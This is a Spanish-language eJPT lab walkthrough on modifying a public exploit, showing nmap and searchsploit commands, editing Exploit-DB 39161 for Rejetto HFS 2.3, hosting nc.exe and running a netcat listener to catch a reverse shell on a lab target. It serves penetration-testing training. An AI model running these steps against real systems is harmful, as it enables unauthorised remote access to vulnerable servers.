> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/explotacion/exploits/arreglando-exploits/modificando-exploits.md).

# Modificando exploits

## &#x20;🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la instancia de la GUI de Kali

**Paso 2:** Identificar la dirección IP de destino

Antes de comenzar, deberá obtener la dirección IP del sistema de destino dentro del entorno de laboratorio.

Este laboratorio le proporcionará la dirección IP de destino en una ventana de leafpad cuando acceda al laboratorio por primera vez, como se muestra en la siguiente captura de pantalla.

<figure><img src="/files/0ajMyvKXt0XUedsrqfpm" alt=""><figcaption></figcaption></figure>

**Nota:** Su dirección IP de destino será diferente, así que asegúrese de sustituir la IP que se muestra en los comandos a continuación con la de su laboratorio.

**Paso 3:** Escaneo de puertos y enumeración de servicios con Nmap

Ahora que ha identificado la dirección IP de destino, deberá realizar un escaneo Nmap en la IP para determinar los puertos abiertos y los respectivos servicios que se ejecutan en estos puertos abiertos.

Esto se puede hacer ejecutando el siguiente comando:

**Dominio**

```
nmap -sV 10.4.23.75
```

Como se muestra en la siguiente captura de pantalla, hay una serie de puertos abiertos en el sistema de destino, la mayoría de los cuales indican que el destino ejecuta Windows.

<figure><img src="/files/x80EG2iKMFsCpTu6YWCg" alt=""><figcaption></figcaption></figure>

Se destaca un servicio específico: parece que hay una versión vulnerable del **servidor de archivos HTTP Rejetto** ejecutándose en el puerto 80, más específicamente la versión 2.3.

Esta versión de **Rejetto HFS** es vulnerable a una vulnerabilidad de ejecución de código remoto que puede explotarse tanto de forma manual como automática con Metasploit, sin embargo, en este caso, veremos cómo explotar esta vulnerabilidad manualmente con un código de explotación de acceso público.

**Paso 4:** Búsqueda de exploits disponibles públicamente con Searchsploit

Ahora que hemos identificado un servicio vulnerable que se ejecuta en el sistema de destino, podemos buscar código de explotación disponible públicamente que pueda usarse para explotar **Rejetto HFS 2.3** con Searchsploit.

Esto se puede hacer ejecutando el siguiente comando:

**Dominio**

```
searchsploit HTTP File Server 2.3
```

Como se muestra en la siguiente captura de pantalla, Searchsploit revela bastantes exploits, uno de los cuales es un módulo de Metasploit, sin embargo, en nuestro caso, usaremos el exploit de Python.

<figure><img src="/files/g9T9AE0fpgtlaaqvR28Y" alt=""><figcaption></figcaption></figure>

Ahora que hemos identificado el exploit que nos gustaría usar, podemos copiar el archivo del exploit a nuestro directorio de trabajo actual con Searchsploit ejecutando el siguiente comando:

**Dominio**

```
searchsploit -m 39161
```

Este exploit, si bien es funcional, no funciona de inmediato y debe modificarse de acuerdo con el entorno en el que está trabajando y la configuración del objetivo.

**Paso 5:** Modificar el exploit

Ahora que hemos copiado el exploit a nuestro directorio de trabajo actual, podemos modificarlo con VIM ejecutando el siguiente comando:

**Dominio**

```
vim 39161.py
```

Como se muestra en la siguiente captura de pantalla, este exploit requiere que cambie los valores de IP local y puerto local.

<figure><img src="/files/rrTRy76zYq4bn4AnBvzP" alt=""><figcaption></figcaption></figure>

Puede obtener su dirección IP local de Kali ejecutando el siguiente comando:

**Dominio**

```
ifconfig
```

Como se muestra en la captura de pantalla anterior, hemos cambiado el puerto local a**1234**, siéntete libre de cambiar esto a cualquier puerto abierto en tu sistema Kali.

Después de realizar los cambios en el código de explotación, puede guardarlo y salir de VIM.

**Paso 6:** Probar el exploit

Después de modificar el código de explotación, podemos ejecutarlo con Python para asegurarnos de que funciona correctamente.

Para que este exploit funcione, necesitará alojar el **nc.exe** en un servidor web, ya que el exploit lo descargará al sistema de destino.

Kali Linux viene preempaquetado con varios binarios de Windows, uno de los cuales es el ejecutable **nc.exe** que se encuentra en **/usr/share/windows-resources/binaries/nc.exe** .

Podemos copiar el ejecutable **nc.exe** a nuestro Escritorio ejecutando el siguiente comando:

**Dominio**

```
cp /usr/share/windows-resources/nc.exe /root/Desktop/
```

Tras copiar el ejecutable **nc.exe** al escritorio, podemos alojarlo configurando un servidor HTTP en el puerto 80 con Python. Esto se puede hacer ejecutando el siguiente comando:

**Dominio**

```
python -m SimpleHTTPServer 80
```

Como se muestra en la siguiente captura de pantalla, aquí se alojará el ejecutable **nc.exe** .

<figure><img src="/files/rbL6sZP7mPgxHPscMRyu" alt=""><figcaption></figcaption></figure>

A continuación, necesitaremos abrir una nueva ventana de terminal donde configuraremos el oyente Netcat para recibir la conexión del objetivo una vez que se ejecute el script de exploit.

Podemos configurar el escucha Netcat ejecutando el siguiente comando:

**Dominio**

```
nc -nvlp 1234
```

**Nota:**&#x41;segúrese de cambiar el puerto Netcat para escuchar si especificó un puerto diferente al modificar el exploit.

Después de configurar el servidor web y el escucha Netcat, necesitará abrir otra ventana de terminal para ejecutar el script de explotación.

Navegue al directorio donde copió el exploit con Searchsploit y ejecute el siguiente comando (asegúrese de reemplazar la IP de destino con la IP de su entorno de laboratorio):

**Dominio**

```
python 39161.py 10.4.23.75 80
```

Como se muestra en la siguiente captura de pantalla, si el script de explotación se ejecuta correctamente, debería recibir un shell inverso en su oyente Netcat.

<figure><img src="/files/9B2GoCltM1vuSp8kt115" alt=""><figcaption></figcaption></figure>

### Conclusión

En este laboratorio, exploramos el proceso de identificar un servicio vulnerable que se ejecuta en un objetivo, encontrar código de explotación disponible públicamente con Searchsploit, modificar el exploit y ejecutarlo para obtener con éxito acceso inicial al sistema objetivo.
